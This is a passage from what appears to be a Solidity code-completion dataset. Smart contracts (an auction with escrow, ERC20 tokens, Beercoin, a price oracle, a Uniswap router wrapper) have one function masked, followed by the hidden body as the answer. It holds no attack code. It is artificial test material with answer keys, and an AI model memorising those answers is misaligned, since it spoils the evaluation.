function transfer(address _to, uint256 _propertyId) external {
require(_to != address(0));
require(_to != address(this));
require(propertyIdToOwner[_propertyId] == msg.sender);
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.creationTime == 0);
_transfer(msg.sender, _to, _propertyId);
}
function ownerOf(uint256 _propertyId) external view returns (address owner) {
owner = propertyIdToOwner[_propertyId];
require(owner != address(0));
}
function createAuction(uint256 _propertyId, uint256 _startingPriceWei, uint256 _endingPriceWei, uint256 _duration) external onlyOwner {
require(_startingPriceWei > _endingPriceWei);
require(_startingPriceWei > 0);
require(_startingPriceWei == uint256(uint128(_startingPriceWei)));
require(_endingPriceWei == uint256(uint128(_endingPriceWei)));
require(_duration == uint256(uint64(_duration)));
require(propertyIdToOwner[_propertyId] == msg.sender);
Auction memory auction = Auction(
msg.sender,
uint128(_startingPriceWei),
uint128(_endingPriceWei),
uint64(_duration),
uint64(now)
);
propertyIdToAuction[_propertyId] = auction;
AuctionCreated(_propertyId, _startingPriceWei, _endingPriceWei, _duration);
}
function bid(uint256 _propertyId) external payable {
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.startingPriceWei > 0);
uint256 price = _getAuctionPrice(auction);
require(msg.value >= price);
Escrow memory escrow = Escrow({
seller: auction.seller,
buyer: msg.sender,
amount: uint128(price)
});
delete propertyIdToAuction[_propertyId];
propertyIdToEscrow[_propertyId] = escrow;
msg.sender.transfer(msg.value - price);
AuctionCompleted(_propertyId, price, msg.sender);
}
function cancelEscrow(uint256 _propertyId) external onlyOwner {
Escrow storage escrow = propertyIdToEscrow[_propertyId];
require(escrow.amount > 0);
escrow.buyer.transfer(escrow.amount);
delete propertyIdToEscrow[_propertyId];
}
function closeEscrow(uint256 _propertyId) external onlyOwner {
Escrow storage escrow = propertyIdToEscrow[_propertyId];
require(escrow.amount > 0);
escrow.seller.transfer(escrow.amount);
_transfer(escrow.seller, escrow.buyer, _propertyId);
delete propertyIdToEscrow[_propertyId];
}
function cancelAuction(uint256 _propertyId) external {<FILL_FUNCTION_BODY> }
function getAuction(uint256 _propertyId) external view returns(address seller, uint256 startingPriceWei, uint256 endingPriceWei, uint256 duration, uint256 startedAt) {
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.startingPriceWei > 0);
return (auction.seller, auction.startingPriceWei, auction.endingPriceWei, auction.duration, auction.creationTime);
}
function getAuctionPrice(uint256 _propertyId) external view returns (uint256) {
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.startingPriceWei > 0);
return _getAuctionPrice(auction);
}
function _transfer(address _from, address _to, uint256 _propertyId) internal {
propertyIdToOwner[_propertyId] = _to;
Transfer(_from, _to, _propertyId);
}
function _getAuctionPrice(Auction storage _auction) internal view returns (uint256) {
uint256 secondsPassed = 0;
if (now > _auction.creationTime) {
secondsPassed = now - _auction.creationTime;
}
uint256 price = _auction.endingPriceWei;
if (secondsPassed < _auction.duration) {
uint256 priceSpread = _auction.startingPriceWei - _auction.endingPriceWei;
uint256 deltaPrice = priceSpread * secondsPassed / _auction.duration;
price = _auction.startingPriceWei - deltaPrice;
}
return price;
}
} | contract LotsApis is LotsData {
function getProperty(uint256 _id) external view returns (string parcel, string street, string city, string state, string zip) {
Property storage property = properties[_id];
parcel = property.parcel;
street = property.street;
city = property.city;
state = property.state;
zip = property.zip;
}
function registerProperty(string parcel, string street, string city, string state, string zip) external onlyOwner {
_registerProperty(parcel, street, city, state, zip);
}
function _registerProperty(string parcel, string street, string city, string state, string zip) internal {
Property memory _property = Property({
parcel: parcel,
street: street,
city: city,
state: state,
zip: zip,
creationTime: uint64(now)
});
uint256 newPropertyId = properties.push(_property) - 1;
_transfer(0, msg.sender, newPropertyId);
}
function transfer(address _to, uint256 _propertyId) external {
require(_to != address(0));
require(_to != address(this));
require(propertyIdToOwner[_propertyId] == msg.sender);
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.creationTime == 0);
_transfer(msg.sender, _to, _propertyId);
}
function ownerOf(uint256 _propertyId) external view returns (address owner) {
owner = propertyIdToOwner[_propertyId];
require(owner != address(0));
}
function createAuction(uint256 _propertyId, uint256 _startingPriceWei, uint256 _endingPriceWei, uint256 _duration) external onlyOwner {
require(_startingPriceWei > _endingPriceWei);
require(_startingPriceWei > 0);
require(_startingPriceWei == uint256(uint128(_startingPriceWei)));
require(_endingPriceWei == uint256(uint128(_endingPriceWei)));
require(_duration == uint256(uint64(_duration)));
require(propertyIdToOwner[_propertyId] == msg.sender);
Auction memory auction = Auction(
msg.sender,
uint128(_startingPriceWei),
uint128(_endingPriceWei),
uint64(_duration),
uint64(now)
);
propertyIdToAuction[_propertyId] = auction;
AuctionCreated(_propertyId, _startingPriceWei, _endingPriceWei, _duration);
}
function bid(uint256 _propertyId) external payable {
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.startingPriceWei > 0);
uint256 price = _getAuctionPrice(auction);
require(msg.value >= price);
Escrow memory escrow = Escrow({
seller: auction.seller,
buyer: msg.sender,
amount: uint128(price)
});
delete propertyIdToAuction[_propertyId];
propertyIdToEscrow[_propertyId] = escrow;
msg.sender.transfer(msg.value - price);
AuctionCompleted(_propertyId, price, msg.sender);
}
function cancelEscrow(uint256 _propertyId) external onlyOwner {
Escrow storage escrow = propertyIdToEscrow[_propertyId];
require(escrow.amount > 0);
escrow.buyer.transfer(escrow.amount);
delete propertyIdToEscrow[_propertyId];
}
function closeEscrow(uint256 _propertyId) external onlyOwner {
Escrow storage escrow = propertyIdToEscrow[_propertyId];
require(escrow.amount > 0);
escrow.seller.transfer(escrow.amount);
_transfer(escrow.seller, escrow.buyer, _propertyId);
delete propertyIdToEscrow[_propertyId];
}
<FILL_FUNCTION>
function getAuction(uint256 _propertyId) external view returns(address seller, uint256 startingPriceWei, uint256 endingPriceWei, uint256 duration, uint256 startedAt) {
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.startingPriceWei > 0);
return (auction.seller, auction.startingPriceWei, auction.endingPriceWei, auction.duration, auction.creationTime);
}
function getAuctionPrice(uint256 _propertyId) external view returns (uint256) {
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.startingPriceWei > 0);
return _getAuctionPrice(auction);
}
function _transfer(address _from, address _to, uint256 _propertyId) internal {
propertyIdToOwner[_propertyId] = _to;
Transfer(_from, _to, _propertyId);
}
function _getAuctionPrice(Auction storage _auction) internal view returns (uint256) {
uint256 secondsPassed = 0;
if (now > _auction.creationTime) {
secondsPassed = now - _auction.creationTime;
}
uint256 price = _auction.endingPriceWei;
if (secondsPassed < _auction.duration) {
uint256 priceSpread = _auction.startingPriceWei - _auction.endingPriceWei;
uint256 deltaPrice = priceSpread * secondsPassed / _auction.duration;
price = _auction.startingPriceWei - deltaPrice;
}
return price;
}
} |
Auction storage auction = propertyIdToAuction[_propertyId];
require(auction.startingPriceWei > 0);
require(msg.sender == auction.seller);
delete propertyIdToAuction[_propertyId];
AuctionCancelled(_propertyId);
| function cancelAuction(uint256 _propertyId) external | function cancelAuction(uint256 _propertyId) external |
84437 | ERC20 | allowance | contract ERC20 is ERC20Interface,SafeMath {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) allowed;
constructor(string memory _name) public {
name = _name;
symbol = "KXC";
decimals = 18;
totalSupply = 10000000000000000000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(balanceOf[ _to] + _value >= balanceOf[ _to]);
balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ;
balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ;
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to],_value);
allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value==0)||(allowed[msg.sender][_spender]==0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {<FILL_FUNCTION_BODY> }
} | contract ERC20 is ERC20Interface,SafeMath {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) allowed;
constructor(string memory _name) public {
name = _name;
symbol = "KXC";
decimals = 18;
totalSupply = 10000000000000000000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(balanceOf[ _to] + _value >= balanceOf[ _to]);
balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ;
balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ;
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to],_value);
allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value==0)||(allowed[msg.sender][_spender]==0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
<FILL_FUNCTION>
} |
return allowed[_owner][_spender];
| function allowance(address _owner, address _spender) public view returns (uint256 remaining) | function allowance(address _owner, address _spender) public view returns (uint256 remaining) |
3492 | Beercoin | transferMany | contract Beercoin is ERC20Token, Owned {
event Produce(uint256 value, string caps);
event Burn(uint256 value);
string public name = "Beercoin";
string public symbol = "🍺";
uint8 public decimals = 18;
uint256 public totalSupply = 15496000000 * 10 ** uint256(decimals);
// In addition to the initial total supply of 15496000000 Beercoins,
// more Beercoins will only be added by scanning bottle caps.
// 20800000000 bottle caps will be eventually produced.
//
// Within 10000 bottle caps,
// 1 (i.e. every 10000th cap in total) has a value of 10000 ("Diamond") Beercoins,
// 9 (i.e. every 1000th cap in total) have a value of 100 ("Gold") Beercoins,
// 990 (i.e. every 10th cap in total) have a value of 10 ("Silver") Beercoins,
// 9000 (i.e. every remaining cap) have a value of 1 ("Bronze") Beercoin.
//
// Therefore one bottle cap has an average Beercoin value of
// (1 * 10000 + 9 * 100 + 990 * 10 + 9000 * 1) / 10000 = 2.98.
//
// This means the Beercoin value of all bottle caps that
// will be produced in total is 20800000000 * 2.98 = 61984000000.
uint256 public unproducedCaps = 20800000000;
uint256 public producedCaps = 0;
// Stores whether users disallow the owner to
// pull Beercoins for the use of redemption.
mapping (address => bool) public redemptionLocked;
/**
* Construct the Beercoin contract and
* assign the initial supply to the owner.
*/
function Beercoin() public {
balanceOf[owner] = totalSupply;
}
/**
* Lock or unlock the redemption functionality
*
* If a user doesn't want to redeem Beercoins on the owner's
* website and doesn't trust the owner, the owner's capability
* of pulling Beercoin from the user's account can be locked
*
* @param lock whether to lock the redemption capability or not
*/
function lockRedemption(bool lock) public returns (bool success) {
redemptionLocked[msg.sender] = lock;
return true;
}
/**
* Generate a sequence of bottle cap values to be used
* for production and send the respective total Beercoin
* value to the contract for keeping until a scan is recognized
*
* We hereby declare that this function is called if and only if
* we need to generate codes intended for beer bottle production
*
* @param numberOfCaps the number of bottle caps to be produced
*/
function produce(uint256 numberOfCaps) public onlyOwner returns (bool success) {
require(numberOfCaps <= unproducedCaps);
uint256 value = 0;
bytes memory caps = bytes(new string(numberOfCaps));
for (uint256 i = 0; i < numberOfCaps; ++i) {
uint256 currentCoin = producedCaps + i;
if (currentCoin % 10000 == 0) {
value += 10000;
caps[i] = "D";
} else if (currentCoin % 1000 == 0) {
value += 100;
caps[i] = "G";
} else if (currentCoin % 10 == 0) {
value += 10;
caps[i] = "S";
} else {
value += 1;
caps[i] = "B";
}
}
unproducedCaps -= numberOfCaps;
producedCaps += numberOfCaps;
value = value * 10 ** uint256(decimals);
totalSupply += value;
balanceOf[this] += value;
Produce(value, string(caps));
return true;
}
/**
* Grant Beercoins to a user who scanned a bottle cap code
*
* We hereby declare that this function is called if and only if
* our server registers a valid code scan by the given user
*
* @param user the address of the user who scanned a codes
* @param cap a bottle cap value ("D", "G", "S", or "B")
*/
function scan(address user, byte cap) public onlyOwner returns (bool success) {
if (cap == "D") {
_transfer(this, user, 10000 * 10 ** uint256(decimals));
} else if (cap == "G") {
_transfer(this, user, 100 * 10 ** uint256(decimals));
} else if (cap == "S") {
_transfer(this, user, 10 * 10 ** uint256(decimals));
} else {
_transfer(this, user, 1 * 10 ** uint256(decimals));
}
return true;
}
/**
* Grant Beercoins to users who scanned bottle cap codes
*
* We hereby declare that this function is called if and only if
* our server registers valid code scans by the given users
*
* @param users the addresses of the users who scanned a codes
* @param caps bottle cap values ("D", "G", "S", or "B")
*/
function scanMany(address[] users, byte[] caps) public onlyOwner returns (bool success) {
require(users.length == caps.length);
for (uint16 i = 0; i < users.length; ++i) {
scan(users[i], caps[i]);
}
return true;
}
/**
* Redeem tokens when the will to do so has been
* stated within the user interface of a Beercoin
* redemption system
*
* The owner calls this on behalf of the redeeming user
* so the latter does not need to pay transaction fees
* when redeeming
*
* We hereby declare that this function is called if and only if
* a user deliberately wants to redeem Beercoins
*
* @param user the address of the user who wants to redeem
* @param value the amount to redeem
*/
function redeem(address user, uint256 value) public onlyOwner returns (bool success) {
require(redemptionLocked[user] == false);
_transfer(user, owner, value);
return true;
}
/**
* Redeem tokens when the will to do so has been
* stated within the user interface of a Beercoin
* redemption system
*
* The owner calls this on behalf of the redeeming users
* so the latter do not need to pay transaction fees
* when redeeming
*
* We hereby declare that this function is called if and only if
* users deliberately want to redeem Beercoins
*
* @param users the addresses of the users who want to redeem
* @param values the amounts to redeem
*/
function redeemMany(address[] users, uint256[] values) public onlyOwner returns (bool success) {
require(users.length == values.length);
for (uint16 i = 0; i < users.length; ++i) {
redeem(users[i], values[i]);
}
return true;
}
/**
* Transfer Beercoins to multiple recipients
*
* @param recipients the addresses of the recipients
* @param values the amounts to send
*/
function transferMany(address[] recipients, uint256[] values) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> }
/**
* Destroy Beercoins by removing them from the system irreversibly
*
* @param value the amount of Beercoins to burn
*/
function burn(uint256 value) public onlyOwner returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
totalSupply -= value;
Burn(value);
return true;
}
} | contract Beercoin is ERC20Token, Owned {
event Produce(uint256 value, string caps);
event Burn(uint256 value);
string public name = "Beercoin";
string public symbol = "🍺";
uint8 public decimals = 18;
uint256 public totalSupply = 15496000000 * 10 ** uint256(decimals);
// In addition to the initial total supply of 15496000000 Beercoins,
// more Beercoins will only be added by scanning bottle caps.
// 20800000000 bottle caps will be eventually produced.
//
// Within 10000 bottle caps,
// 1 (i.e. every 10000th cap in total) has a value of 10000 ("Diamond") Beercoins,
// 9 (i.e. every 1000th cap in total) have a value of 100 ("Gold") Beercoins,
// 990 (i.e. every 10th cap in total) have a value of 10 ("Silver") Beercoins,
// 9000 (i.e. every remaining cap) have a value of 1 ("Bronze") Beercoin.
//
// Therefore one bottle cap has an average Beercoin value of
// (1 * 10000 + 9 * 100 + 990 * 10 + 9000 * 1) / 10000 = 2.98.
//
// This means the Beercoin value of all bottle caps that
// will be produced in total is 20800000000 * 2.98 = 61984000000.
uint256 public unproducedCaps = 20800000000;
uint256 public producedCaps = 0;
// Stores whether users disallow the owner to
// pull Beercoins for the use of redemption.
mapping (address => bool) public redemptionLocked;
/**
* Construct the Beercoin contract and
* assign the initial supply to the owner.
*/
function Beercoin() public {
balanceOf[owner] = totalSupply;
}
/**
* Lock or unlock the redemption functionality
*
* If a user doesn't want to redeem Beercoins on the owner's
* website and doesn't trust the owner, the owner's capability
* of pulling Beercoin from the user's account can be locked
*
* @param lock whether to lock the redemption capability or not
*/
function lockRedemption(bool lock) public returns (bool success) {
redemptionLocked[msg.sender] = lock;
return true;
}
/**
* Generate a sequence of bottle cap values to be used
* for production and send the respective total Beercoin
* value to the contract for keeping until a scan is recognized
*
* We hereby declare that this function is called if and only if
* we need to generate codes intended for beer bottle production
*
* @param numberOfCaps the number of bottle caps to be produced
*/
function produce(uint256 numberOfCaps) public onlyOwner returns (bool success) {
require(numberOfCaps <= unproducedCaps);
uint256 value = 0;
bytes memory caps = bytes(new string(numberOfCaps));
for (uint256 i = 0; i < numberOfCaps; ++i) {
uint256 currentCoin = producedCaps + i;
if (currentCoin % 10000 == 0) {
value += 10000;
caps[i] = "D";
} else if (currentCoin % 1000 == 0) {
value += 100;
caps[i] = "G";
} else if (currentCoin % 10 == 0) {
value += 10;
caps[i] = "S";
} else {
value += 1;
caps[i] = "B";
}
}
unproducedCaps -= numberOfCaps;
producedCaps += numberOfCaps;
value = value * 10 ** uint256(decimals);
totalSupply += value;
balanceOf[this] += value;
Produce(value, string(caps));
return true;
}
/**
* Grant Beercoins to a user who scanned a bottle cap code
*
* We hereby declare that this function is called if and only if
* our server registers a valid code scan by the given user
*
* @param user the address of the user who scanned a codes
* @param cap a bottle cap value ("D", "G", "S", or "B")
*/
function scan(address user, byte cap) public onlyOwner returns (bool success) {
if (cap == "D") {
_transfer(this, user, 10000 * 10 ** uint256(decimals));
} else if (cap == "G") {
_transfer(this, user, 100 * 10 ** uint256(decimals));
} else if (cap == "S") {
_transfer(this, user, 10 * 10 ** uint256(decimals));
} else {
_transfer(this, user, 1 * 10 ** uint256(decimals));
}
return true;
}
/**
* Grant Beercoins to users who scanned bottle cap codes
*
* We hereby declare that this function is called if and only if
* our server registers valid code scans by the given users
*
* @param users the addresses of the users who scanned a codes
* @param caps bottle cap values ("D", "G", "S", or "B")
*/
function scanMany(address[] users, byte[] caps) public onlyOwner returns (bool success) {
require(users.length == caps.length);
for (uint16 i = 0; i < users.length; ++i) {
scan(users[i], caps[i]);
}
return true;
}
/**
* Redeem tokens when the will to do so has been
* stated within the user interface of a Beercoin
* redemption system
*
* The owner calls this on behalf of the redeeming user
* so the latter does not need to pay transaction fees
* when redeeming
*
* We hereby declare that this function is called if and only if
* a user deliberately wants to redeem Beercoins
*
* @param user the address of the user who wants to redeem
* @param value the amount to redeem
*/
function redeem(address user, uint256 value) public onlyOwner returns (bool success) {
require(redemptionLocked[user] == false);
_transfer(user, owner, value);
return true;
}
/**
* Redeem tokens when the will to do so has been
* stated within the user interface of a Beercoin
* redemption system
*
* The owner calls this on behalf of the redeeming users
* so the latter do not need to pay transaction fees
* when redeeming
*
* We hereby declare that this function is called if and only if
* users deliberately want to redeem Beercoins
*
* @param users the addresses of the users who want to redeem
* @param values the amounts to redeem
*/
function redeemMany(address[] users, uint256[] values) public onlyOwner returns (bool success) {
require(users.length == values.length);
for (uint16 i = 0; i < users.length; ++i) {
redeem(users[i], values[i]);
}
return true;
}
<FILL_FUNCTION>
/**
* Destroy Beercoins by removing them from the system irreversibly
*
* @param value the amount of Beercoins to burn
*/
function burn(uint256 value) public onlyOwner returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
totalSupply -= value;
Burn(value);
return true;
}
} |
require(recipients.length == values.length);
for (uint16 i = 0; i < recipients.length; ++i) {
transfer(recipients[i], values[i]);
}
return true;
| function transferMany(address[] recipients, uint256[] values) public onlyOwner returns (bool success) | /**
* Transfer Beercoins to multiple recipients
*
* @param recipients the addresses of the recipients
* @param values the amounts to send
*/
function transferMany(address[] recipients, uint256[] values) public onlyOwner returns (bool success) |
76930 | PriceOracles | claimAdministration | contract PriceOracles {
using SafeMath for uint256;
address public admin;
address public proposedAdmin;
// 通用的合约地址
address public oracle;
// 维护需要从chainlink取价格的token 地址 => chainlink 价格合约地址的映射
mapping(address => address) public tokenChainlinkMap;
function get(address token) external view returns (uint256, bool) {
if (token == EthAddressLib.ethAddress() || tokenChainlinkMap[token] != address(0)) {
// 如果是 eth 或者是需要从 chainlink 取价格的 token,读取 chainlink 的合约
return getChainLinkPrice(token);
} else {
// 其他需要喂价的 token 从通用 oracle 中取价格
IUniversalOracle _oracle = IUniversalOracle(oracle);
return _oracle.get(token);
}
}
// 存储 ETH/USD 交易对合约地址
address public ethToUsdPrice;
constructor() public {
admin = msg.sender;
}
function setEthToUsdPrice(address _ethToUsdPrice) external onlyAdmin {
ethToUsdPrice = _ethToUsdPrice;
}
// 设置通用 oracle 地址
function setOracle(address _oracle) external onlyAdmin {
oracle = _oracle;
}
//验证合约的操作是否被授权.
modifier onlyAdmin {
require(msg.sender == admin, "require admin");
_;
}
function proposeNewAdmin(address admin_) external onlyAdmin {
proposedAdmin = admin_;
}
function claimAdministration() external {<FILL_FUNCTION_BODY> }
function setTokenChainlinkMap(address token, address chainlink)
external
onlyAdmin
{
tokenChainlinkMap[token] = chainlink;
}
function getChainLinkPrice(address token)
internal
view
returns (uint256, bool)
{
// 构造 chainlink 合约实例
AggregatorInterface chainlinkContract = AggregatorInterface(
ethToUsdPrice
);
// 获取 ETH/USD 交易对的价格,单位是 1e8
int256 basePrice = chainlinkContract.latestAnswer();
// 若要获取 ETH 的价格,则返回 1e8 * 1e10 = 1e18
if (token == EthAddressLib.ethAddress()) {
return (uint256(basePrice).mul(1e10), true);
}
// // 获取 token/ETH 交易对的价格(目前是 USDT 和 USDC ),单位是 1e18
chainlinkContract = AggregatorInterface(tokenChainlinkMap[token]);
int256 tokenPrice = chainlinkContract.latestAnswer();
return (uint256(basePrice).mul(uint256(tokenPrice)).div(1e8), true);
}
} | contract PriceOracles {
using SafeMath for uint256;
address public admin;
address public proposedAdmin;
// 通用的合约地址
address public oracle;
// 维护需要从chainlink取价格的token 地址 => chainlink 价格合约地址的映射
mapping(address => address) public tokenChainlinkMap;
function get(address token) external view returns (uint256, bool) {
if (token == EthAddressLib.ethAddress() || tokenChainlinkMap[token] != address(0)) {
// 如果是 eth 或者是需要从 chainlink 取价格的 token,读取 chainlink 的合约
return getChainLinkPrice(token);
} else {
// 其他需要喂价的 token 从通用 oracle 中取价格
IUniversalOracle _oracle = IUniversalOracle(oracle);
return _oracle.get(token);
}
}
// 存储 ETH/USD 交易对合约地址
address public ethToUsdPrice;
constructor() public {
admin = msg.sender;
}
function setEthToUsdPrice(address _ethToUsdPrice) external onlyAdmin {
ethToUsdPrice = _ethToUsdPrice;
}
// 设置通用 oracle 地址
function setOracle(address _oracle) external onlyAdmin {
oracle = _oracle;
}
//验证合约的操作是否被授权.
modifier onlyAdmin {
require(msg.sender == admin, "require admin");
_;
}
function proposeNewAdmin(address admin_) external onlyAdmin {
proposedAdmin = admin_;
}
<FILL_FUNCTION>
function setTokenChainlinkMap(address token, address chainlink)
external
onlyAdmin
{
tokenChainlinkMap[token] = chainlink;
}
function getChainLinkPrice(address token)
internal
view
returns (uint256, bool)
{
// 构造 chainlink 合约实例
AggregatorInterface chainlinkContract = AggregatorInterface(
ethToUsdPrice
);
// 获取 ETH/USD 交易对的价格,单位是 1e8
int256 basePrice = chainlinkContract.latestAnswer();
// 若要获取 ETH 的价格,则返回 1e8 * 1e10 = 1e18
if (token == EthAddressLib.ethAddress()) {
return (uint256(basePrice).mul(1e10), true);
}
// // 获取 token/ETH 交易对的价格(目前是 USDT 和 USDC ),单位是 1e18
chainlinkContract = AggregatorInterface(tokenChainlinkMap[token]);
int256 tokenPrice = chainlinkContract.latestAnswer();
return (uint256(basePrice).mul(uint256(tokenPrice)).div(1e8), true);
}
} |
require(msg.sender == proposedAdmin, "Not proposed admin.");
admin = proposedAdmin;
proposedAdmin = address(0);
| function claimAdministration() external | function claimAdministration() external |
34532 | EIB | init | contract EIB is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223Token
{
event Initialized();
bool public initialized = false;
function EIB() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {<FILL_FUNCTION_BODY> }
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | contract EIB is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223Token
{
event Initialized();
bool public initialized = false;
function EIB() public {
init();
transferOwnership(TARGET_USER);
}
<FILL_FUNCTION>
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} |
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xe397289ebbc1fbcb860044befc9e9f5784d38950)];
uint[1] memory amounts = [uint(30000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
| function init() private | function init() private |
78775 | UniswapRouterSupportingFeeOnTransferTokens | governanceRecoverUnsupported | contract UniswapRouterSupportingFeeOnTransferTokens is IValueLiquidPool, IUniswapRouter {
using SafeMath for uint256;
address public governance;
IUniswapRouter public unirouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 public constant FEE_DENOMINATOR = 10000;
uint256 public performanceFee = 0; // 0% at start and can be set by governance decision
mapping(address => mapping(address => address[])) public uniswapPaths; // [input -> output] => uniswap_path
mapping(address => bool) public hasTransferFee; // token_address => has_transfer_fee
constructor(address _tokenHasTransferFee) public {
hasTransferFee[_tokenHasTransferFee] = true;
governance = msg.sender;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function approveForSpender(ITokenInterface _token, address _spender, uint256 _amount) external {
require(msg.sender == governance, "!governance");
_token.approve(_spender, _amount);
}
function setUnirouter(IUniswapRouter _unirouter) external {
require(msg.sender == governance, "!governance");
unirouter = _unirouter;
}
function setPerformanceFee(uint256 _performanceFee) public {
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function setHasTransferFee(address _token, bool _hasFee) public {
require(msg.sender == governance, "!governance");
hasTransferFee[_token] = _hasFee;
}
function setUnirouterPath(address _input, address _output, address [] memory _path) public {
require(msg.sender == governance, "!governance");
uniswapPaths[_input][_output] = _path;
}
function swapExactAmountIn(address _tokenIn, uint _tokenAmountIn, address _tokenOut, uint _minAmountOut, uint) external override returns (uint _tokenAmountOut, uint) {
address[] memory path = uniswapPaths[_tokenIn][_tokenOut];
if (path.length == 0) {
// path: _input -> _output
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
}
ITokenInterface input = ITokenInterface(_tokenIn);
ITokenInterface output = ITokenInterface(_tokenOut);
input.transferFrom(msg.sender, address(this), _tokenAmountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _tokenAmountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_tokenAmountIn = _tokenAmountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
if (hasTransferFee[_tokenIn] || hasTransferFee[_tokenOut]) {
// swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amountOutMin, path, to, deadline)
unirouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(_tokenAmountIn, _minAmountOut, path, msg.sender, now.add(1800));
} else {
// swapExactTokensForTokens(amountIn, amountOutMin, path, to, deadline)
unirouter.swapExactTokensForTokens(_tokenAmountIn, _minAmountOut, path, msg.sender, now.add(1800));
}
_tokenAmountOut = output.balanceOf(address(this));
output.transfer(msg.sender, _tokenAmountOut);
}
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external override returns (uint256[] memory amounts) {
ITokenInterface input = ITokenInterface(_path[0]);
input.transferFrom(msg.sender, address(this), _amountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _amountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_amountIn = _amountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
amounts = unirouter.swapExactTokensForTokens(_amountIn, _amountOutMin, _path, _to, _deadline);
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external override returns (uint256[] memory amounts) {
ITokenInterface input = ITokenInterface(_path[0]);
input.transferFrom(msg.sender, address(this), _amountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _amountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_amountIn = _amountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
amounts = unirouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(_amountIn, _amountOutMin, _path, _to, _deadline);
}
/**
